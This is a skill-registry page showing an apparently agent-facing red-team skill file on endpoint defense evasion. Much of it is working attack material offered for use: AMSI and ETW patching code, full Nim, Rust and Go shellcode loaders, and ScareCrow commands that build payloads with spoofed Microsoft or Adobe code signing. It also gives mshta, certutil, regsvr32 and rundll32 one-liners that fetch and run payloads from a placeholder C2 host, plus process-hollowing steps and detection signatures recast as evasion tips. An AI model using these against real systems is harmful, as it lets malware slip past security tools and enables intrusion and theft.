CtrlK
BlogDocsLog inGet started
Tessl Logo

defense-evasion

Endpoint defense bypass — AMSI/ETW patching, ScareCrow framework, custom loaders, direct/indirect syscalls, LOLBAS execution, process injection.

61

Quality

73%

Does it follow best practices?

Run evals on this skill

Adds up to 20 points to the overall score

View guide

SecuritybySnyk

Critical

Do not install without reviewing

Fix and improve this skill with Tessl

tessl review fix ./packages/decepticon/decepticon/skills/shared/defense-evasion/SKILL.md
SKILL.md
Quality
Evals
Security

Defense Evasion Knowledge Base

Defense evasion techniques disable, bypass, or avoid endpoint security controls (AV, EDR, AMSI, ETW) to ensure payloads execute and implants persist without detection. Every technique here has a shelf life --- detections evolve constantly. Always test against the target's specific stack before deployment.

Quick Reference

TaskTechniqueRisk Level
Disable AMSIMemory patch AmsiScanBufferMedium
Disable AMSI (stealthier)Hardware breakpoint on AmsiScanBufferLow
Disable ETWPatch EtwEventWriteMedium
Unhook EDR DLLsScareCrow / manual ntdll reloadHigh
Generate evasive payloadScareCrow with AES encryptionMedium
Execute via LOLBASmshta, certutil, rundll32, regsvr32Varies
Process injectionProcess hollowing, early birdHigh
Custom loaderNim/Rust/Go shellcode runnerLow-Medium

MITRE ATT&CK Mapping

Technique IDNameEvasion Relevance
T1562Impair DefensesAMSI/ETW patching, disabling logging
T1027Obfuscated Files or InformationAES-encrypted shellcode, encoding
T1055Process InjectionHollowing, APC injection, thread hijack
T1218System Binary Proxy ExecutionLOLBAS (mshta, rundll32, regsvr32)
T1036MasqueradingSpoofed code signing, renamed binaries
T1140Deobfuscate/Decode FilesRuntime decryption of payloads

1. AMSI Bypass Techniques

Memory Patching (AmsiScanBuffer)

# Patch AmsiScanBuffer to return AMSI_RESULT_CLEAN
# This patches the first bytes of AmsiScanBuffer with a return instruction

$patch = [Byte[]](0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
$amsi = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$field = $amsi.GetField('amsiContext', 'NonPublic,Static')
$ptr = [System.Runtime.InteropServices.Marshal]::ReadIntPtr($field.GetValue($null))

# Get AmsiScanBuffer address
$lib = [System.Runtime.InteropServices.RuntimeEnvironment]::GetRuntimeDirectory()
$addr = [Win32]::GetProcAddress([Win32]::LoadLibrary("amsi.dll"), "AmsiScanBuffer")

# Change memory protection, write patch, restore protection
[Win32]::VirtualProtect($addr, [uint32]$patch.Length, 0x40, [ref]0)
[System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $addr, $patch.Length)

Hardware Breakpoint Method (Stealthier)

// Set hardware breakpoint on AmsiScanBuffer
// When hit, modify return value via exception handler
// Does NOT modify memory — avoids integrity checks

// 1. Register Vectored Exception Handler (VEH)
// 2. Set DR0 = address of AmsiScanBuffer
// 3. Set DR7 to enable breakpoint on execution
// 4. On exception: set RAX = AMSI_RESULT_CLEAN, advance RIP past function
// 5. Continue execution

// Advantage: No memory patches detectable by EDR memory scanning
// Disadvantage: DR registers are per-thread, must set for each thread

Reflection Method

# Use reflection to set amsiInitFailed = true
# Prevents AMSI initialization in the current process

[Ref].Assembly.GetType(
    'System.Management.Automation.AmsiUtils'
).GetField(
    'amsiInitFailed',
    'NonPublic,Static'
).SetValue($null, $true)

AMSI Bypass OPSEC Notes

MethodDetectable ByOPSEC Rating
Memory patchEDR memory scanning, Integrity checksMedium
Hardware breakpointThread context inspection (rare)High
Reflection (amsiInitFailed)Script block logging, known signatureLow
Forcing AMSI errorProcess monitor, event correlationMedium

2. ETW Patching

Patching EtwEventWrite

// Patch ntdll!EtwEventWrite to return immediately (ret = 0xC3)
// This disables Event Tracing for Windows in the current process
// Prevents .NET assembly loading events, PowerShell logging, etc.

IntPtr etwAddr = GetProcAddress(
    GetModuleHandle("ntdll.dll"),
    "EtwEventWrite"
);

// Write 'ret' instruction (0xC3) at function entry
uint oldProtect;
VirtualProtect(etwAddr, 1, 0x40, out oldProtect);
Marshal.WriteByte(etwAddr, 0xC3);
VirtualProtect(etwAddr, 1, oldProtect, out oldProtect);

What ETW Patching Disables

  • .NET assembly load events (used by EDR to detect execute-assembly)
  • PowerShell ScriptBlock logging
  • Process creation events via ETW providers
  • Network connection telemetry from userland

ETW OPSEC Notes

  • Patch BEFORE loading any tools or assemblies
  • Some EDRs monitor EtwEventWrite integrity --- pair with unhooking
  • Kernel-level ETW (via ETW Threat Intelligence provider) is NOT affected by userland patches
  • Consider patching NtTraceEvent as well for deeper coverage

3. ScareCrow Framework

Overview

ScareCrow generates payloads that bypass EDR by unhooking userland API hooks, using direct syscalls, and applying AES encryption with spoofed code signing certificates.

Basic Payload Generation

# Generate EDR-evasive loader with AES-encrypted shellcode
ScareCrow -I implants/shellcode.bin \
    -Loader binary \
    -domain microsoft.com \
    -encryptionmode AES \
    -o implants/evasive_payload.exe

# DLL output (for sideloading)
ScareCrow -I implants/shellcode.bin \
    -Loader dll \
    -domain microsoft.com \
    -encryptionmode AES \
    -o implants/evasive_payload.dll

# Control process for injection
ScareCrow -I implants/shellcode.bin \
    -Loader binary \
    -domain microsoft.com \
    -injection "C:\\Windows\\System32\\notepad.exe" \
    -encryptionmode AES \
    -o implants/injected_payload.exe

ScareCrow Features

FeatureFlagDescription
EDR unhooking(default)Loads clean ntdll.dll from disk, replaces hooked copy
AES encryption-encryptionmode AESEncrypts shellcode, decrypts at runtime
Code signing spoof-domain microsoft.comSpoofs authenticode signature from specified domain
Process injection-injection <path>Injects into specified sacrificial process
DLL loader-Loader dllOutput as DLL for sideloading scenarios
Console hiding-consoleHides console window on execution
Sandbox evasion-sandboxAdds anti-sandbox checks (sleep, mouse, CPU)

Code Signing Spoofing

# Spoof Microsoft code signing cert
ScareCrow -I shellcode.bin -domain microsoft.com -Loader binary -o payload.exe

# Spoof any vendor
ScareCrow -I shellcode.bin -domain adobe.com -Loader binary -o payload.exe

# How it works:
# 1. Fetches the real SSL certificate from the target domain
# 2. Creates a self-signed certificate using the same subject/issuer fields
# 3. Signs the binary with this spoofed certificate
# 4. Many EDRs only check if a cert is present, not full chain validation

4. Custom Loaders

All loaders follow the same pattern: decrypt shellcode at runtime, allocate RW memory, copy shellcode, change to RX, execute via thread.

Nim Shellcode Loader

# Compile: nim c -d:mingw -d:release --app:gui nim_loader.nim
import winim/lean

const encShellcode: array[N, byte] = [ # <ENCRYPTED_SHELLCODE_BYTES> ]
const key: array[16, byte] = [ # <KEY_BYTES> ]

proc main() =
    var shellcode = newSeq[byte](encShellcode.len)
    for i in 0..<encShellcode.len:
        shellcode[i] = encShellcode[i] xor key[i mod key.len]
    let mem = VirtualAlloc(nil, shellcode.len, MEM_COMMIT or MEM_RESERVE, PAGE_READWRITE)
    copyMem(mem, unsafeAddr shellcode[0], shellcode.len)
    var oldProtect: DWORD
    VirtualProtect(mem, shellcode.len, PAGE_EXECUTE_READ, addr oldProtect)
    WaitForSingleObject(CreateThread(nil, 0, cast[LPTHREAD_START_ROUTINE](mem), nil, 0, nil), INFINITE)
main()

Rust Shellcode Loader

// Build: cargo build --release --target x86_64-pc-windows-gnu
#![windows_subsystem = "windows"]
use std::ptr;
use windows_sys::Win32::System::Memory::*;
use windows_sys::Win32::System::Threading::*;

const ENC_SC: &[u8] = &[ /* <ENCRYPTED_SHELLCODE_BYTES> */ ];
const KEY: &[u8] = &[ /* <KEY_BYTES> */ ];

fn main() {
    let sc: Vec<u8> = ENC_SC.iter().enumerate().map(|(i, b)| b ^ KEY[i % KEY.len()]).collect();
    unsafe {
        let mem = VirtualAlloc(ptr::null(), sc.len(), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
        ptr::copy_nonoverlapping(sc.as_ptr(), mem as *mut u8, sc.len());
        let mut op: u32 = 0;
        VirtualProtect(mem, sc.len(), PAGE_EXECUTE_READ, &mut op);
        WaitForSingleObject(
            CreateThread(ptr::null(), 0, Some(std::mem::transmute(mem)), ptr::null(), 0, ptr::null_mut()),
            0xFFFFFFFF);
    }
}

Go Shellcode Loader

// Build: GOOS=windows GOARCH=amd64 go build -ldflags="-s -w -H windowsgui" go_loader.go
package main
import ("syscall"; "unsafe")

var encSC = []byte{ /* <ENCRYPTED_SHELLCODE_BYTES> */ }
var key = []byte{ /* <KEY_BYTES> */ }

func main() {
    sc := make([]byte, len(encSC))
    for i := range encSC { sc[i] = encSC[i] ^ key[i%len(key)] }
    k32 := syscall.MustLoadDLL("kernel32.dll")
    addr, _, _ := k32.MustFindProc("VirtualAlloc").Call(0, uintptr(len(sc)), 0x3000, 0x40)
    syscall.MustLoadDLL("ntdll.dll").MustFindProc("RtlCopyMemory").Call(addr, uintptr(unsafe.Pointer(&sc[0])), uintptr(len(sc)))
    t, _, _ := k32.MustFindProc("CreateThread").Call(0, 0, addr, 0, 0, 0)
    k32.MustFindProc("WaitForSingleObject").Call(t, 0xFFFFFFFF)
}

Loader OPSEC Comparison

LanguageBinary SizeAV Detection RateNotes
Nim~50-100 KBLowSmall, good Win API bindings
Rust~150-300 KBLowStrong type safety, no runtime
Go~2-5 MBLow-MediumLarger binary, distinct import table
C/C++~10-50 KBMediumWell-known patterns, heavily signatured
C#~10-30 KBHigh.NET metadata, AMSI applies

5. Direct & Indirect Syscalls

Concept

Syscalls bypass userland API hooks placed by EDR on ntdll.dll functions. Instead of calling NtAllocateVirtualMemory through the hooked ntdll export, the code directly invokes the syscall instruction with the correct System Service Number (SSN).

Direct Syscalls

Normal API Call Flow (hooked by EDR):
  Code → kernel32.dll → ntdll.dll [HOOKED] → syscall

Direct Syscall Flow (bypasses hooks):
  Code → syscall instruction (SSN resolved at runtime)

Indirect Syscalls

Indirect Syscall Flow (stealthier):
  Code → jump to 'syscall' instruction inside ntdll.dll
  (Return address points to ntdll.dll, not our code)

Advantage: Call stack looks legitimate to EDR stack inspection

SSN Resolution Methods

MethodDescriptionOPSEC
HardcodedSSNs baked into binary (version-specific)Brittle, easy to detect
Halo's GateScan neighboring ntdll exports for unhooked SSNsMedium
Hell's GateParse ntdll in memory to find SSNsMedium
Tartarus' GateHandle both hooked and unhooked neighborsHigh
FreshyCallsSort Zw* exports by address to derive SSNsHigh
SysWhispers3Generates syscall stubs with multiple techniquesMedium-High

Tools

# SysWhispers3 — generate syscall stubs
python3 syswhispers.py --preset common -o syscalls/

# Output: syscalls.h, syscalls.c, syscalls-asm.x64.asm
# Integrate into C/C++ loader project

6. LOLBAS (Living Off the Land Binaries and Scripts)

mshta.exe (T1218.005)

# Execute HTA payload
mshta.exe http://<C2_HOST>/payload.hta

# Inline VBScript execution
mshta.exe vbscript:Execute("CreateObject(""Wscript.Shell"").Run ""powershell -ep bypass -f \\<C2>\share\payload.ps1"", 0:close")

# OPSEC: mshta.exe spawning child processes is heavily monitored

certutil.exe (T1140)

# Download file (encoded transfer)
certutil.exe -urlcache -split -f http://<C2_HOST>/payload.exe C:\Windows\Temp\payload.exe

# Base64 decode a payload
certutil.exe -decode C:\Windows\Temp\encoded.b64 C:\Windows\Temp\payload.exe

# OPSEC: certutil network connections are high-fidelity alerts

rundll32.exe (T1218.011)

# Execute DLL export
rundll32.exe payload.dll,EntryPoint

# Execute JavaScript
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";document.write();h=new%20ActiveXObject("WScript.Shell").Run("calc")

# Execute via URL (DLL from SMB)
rundll32.exe \\<C2_HOST>\share\payload.dll,Start

regsvr32.exe (T1218.010)

# Execute SCT file (Squiblydoo)
regsvr32.exe /s /n /u /i:http://<C2_HOST>/payload.sct scrobj.dll

# Local SCT execution
regsvr32.exe /s /n /u /i:C:\Windows\Temp\payload.sct scrobj.dll

# OPSEC: regsvr32 loading scrobj.dll is a well-known detection signature

LOLBAS OPSEC Summary

BinaryDetection RiskCommon AlertMitigation
mshta.exeHighChild process spawn, network connUse only if no alternative
certutil.exeVery High-urlcache flag, network downloadPrefer BITSAdmin or PowerShell
rundll32.exeMediumUnusual DLL paths, network loadsUse legitimate-looking DLL paths
regsvr32.exeHighscrobj.dll load, network SCT fetchPrefer local execution

7. Process Injection

Process Hollowing (T1055.012)

Process Hollowing Steps:
1. Create target process in SUSPENDED state
   CreateProcessW("svchost.exe", ..., CREATE_SUSPENDED)

2. Unmap the original executable image
   NtUnmapViewOfSection(hProcess, pImageBase)

3. Allocate memory at the original base address
   VirtualAllocEx(hProcess, pImageBase, imageSize, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE)

4. Write malicious PE image into allocated memory
   WriteProcessMemory(hProcess, pImageBase, maliciousPE, imageSize)

5. Update thread context to point to new entry point
   SetThreadContext(hThread, &context)

6. Resume the suspended thread
   ResumeThread(hThread)

Common Injection Targets

ProcessLegitimacyRisk
svchost.exeRuns many instances normallyLow (if correct parent)
RuntimeBroker.exeCommon in user sessionsLow
explorer.exeAlways runningMedium (single instance)
notepad.exeSpawned on demandMedium (must justify spawn)
dllhost.exeCOM surrogate, commonLow

Injection OPSEC

  • Parent-child relationship: svchost.exe must have services.exe as parent
  • Memory permissions: Avoid RWX; use RW for write, then change to RX
  • Unbacked memory: EDRs flag executable memory not backed by a file on disk
  • Thread creation: CreateRemoteThread is heavily monitored; prefer APC injection
  • Call stack: Must look legitimate; use indirect syscalls for API calls

8. Tools & Resources

ToolPurposeSource
ScareCrowEDR evasion payload generatorhttps://github.com/optiv/ScareCrow
SysWhispers3Syscall stub generatorhttps://github.com/klezVirus/SysWhispers3
Nimcrypt2Nim-based packer/loaderhttps://github.com/icyguider/Nimcrypt2
FreezePayload creation with suspend/injecthttps://github.com/optiv/Freeze
donutPE/DLL/VBS/JS to position-independent shellcodehttps://github.com/TheWover/donut
LOLBAS ProjectLOLBAS reference databasehttps://lolbas-project.github.io/
InlineWhispersBOF-compatible syscall stubshttps://github.com/outflanknl/InlineWhispers
SharpUnhookerC# EDR unhooking utilityCommunity tool

9. Detection Signatures

IndicatorSignature / PatternOPSEC Note
AMSI patch detectionIntegrity check on AmsiScanBuffer first bytesUse hardware breakpoint method instead
ETW patch detectionEtwEventWrite starts with 0xC3 (ret)Patch after EDR init, or use syscall-level patch
Memory scan (RWX)VirtualAlloc with PAGE_EXECUTE_READWRITEAllocate RW, copy, then VirtualProtect to RX
Unbacked executable memoryExecutable pages not mapped to a fileUse module stomping or DLL hollowing
Suspicious parent-childmshta/certutil/rundll32 spawning cmd/powershellMatch expected process trees
Code signing mismatchCertificate subject does not match binary metadataAlign PE metadata with spoofed cert
Shellcode entropyHigh entropy sections in PE or memoryAdd low-entropy padding, use encoding layers
.NET assembly loadingETW Assembly.Load events from unusual processesPatch ETW before loading, or use BOFs
Syscall from non-ntdllsyscall instruction outside ntdll address rangeUse indirect syscalls (jmp to ntdll gadget)
Thread start addressThread entry point in unbacked memory regionUse callback-based execution (timers, APCs)

10. Decision Gate

Defense Evasion Complete --- Next Steps

Defenses Bypassed (AV/EDR/AMSI/ETW neutralized)
│
├──→ Execution
│    - Run payload/implant on target
│    - Execute post-exploitation tooling
│    - Load C2 agent in memory
│
├──→ Persistence
│    - Scheduled tasks with evasive payloads
│    - Registry-based persistence (Run keys)
│    - DLL sideloading in legitimate app directories
│    - COM object hijacking
│
├──→ Credential Access
│    - LSASS dump (with EDR bypassed)
│    - SAM extraction
│    - Kerberoasting / AS-REP roasting
│
└──→ C2 Channel Establishment
     - Deploy implant with evasion features
     - Confirm callback through redirector
     - Set jitter and sleep obfuscation

Pre-Execution Checklist

  • AMSI bypassed in target PowerShell/CLR context
  • ETW patched to prevent assembly load telemetry
  • Payload tested against target's AV/EDR stack (or equivalent)
  • Custom loader compiled and signed (spoofed cert)
  • Injection target process identified and validated
  • Backup evasion technique prepared (if primary is burned)
  • OPSEC review: no test artifacts left on target

11. Output Files

./
├── implants/
│   ├── evasive_payload.exe        # ScareCrow-generated payload
│   ├── evasive_payload.dll        # DLL variant for sideloading
│   └── shellcode.bin              # Raw shellcode input
├── loaders/
│   ├── nim_loader.nim             # Nim custom loader source
│   ├── rust_loader/               # Rust loader project
│   └── go_loader.go              # Go loader source
├── syscalls/
│   ├── syscalls.h                 # SysWhispers3 output
│   ├── syscalls.c                 # Syscall implementations
│   └── syscalls-asm.x64.asm       # Assembly stubs
└── evasion_test_results.md        # AV/EDR test outcomes

Bundled Resources

References

  • references/amsi-bypass-techniques.md — AMSI architecture, memory patching (AmsiScanBuffer), hardware breakpoints, reflection bypasses, ETW patching, detection vectors, layered bypass approach. Read when selecting AMSI/ETW bypass technique for target environment.
Repository
PurpleAILAB/Decepticon
Last updated
First committed

Is this your skill?

If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.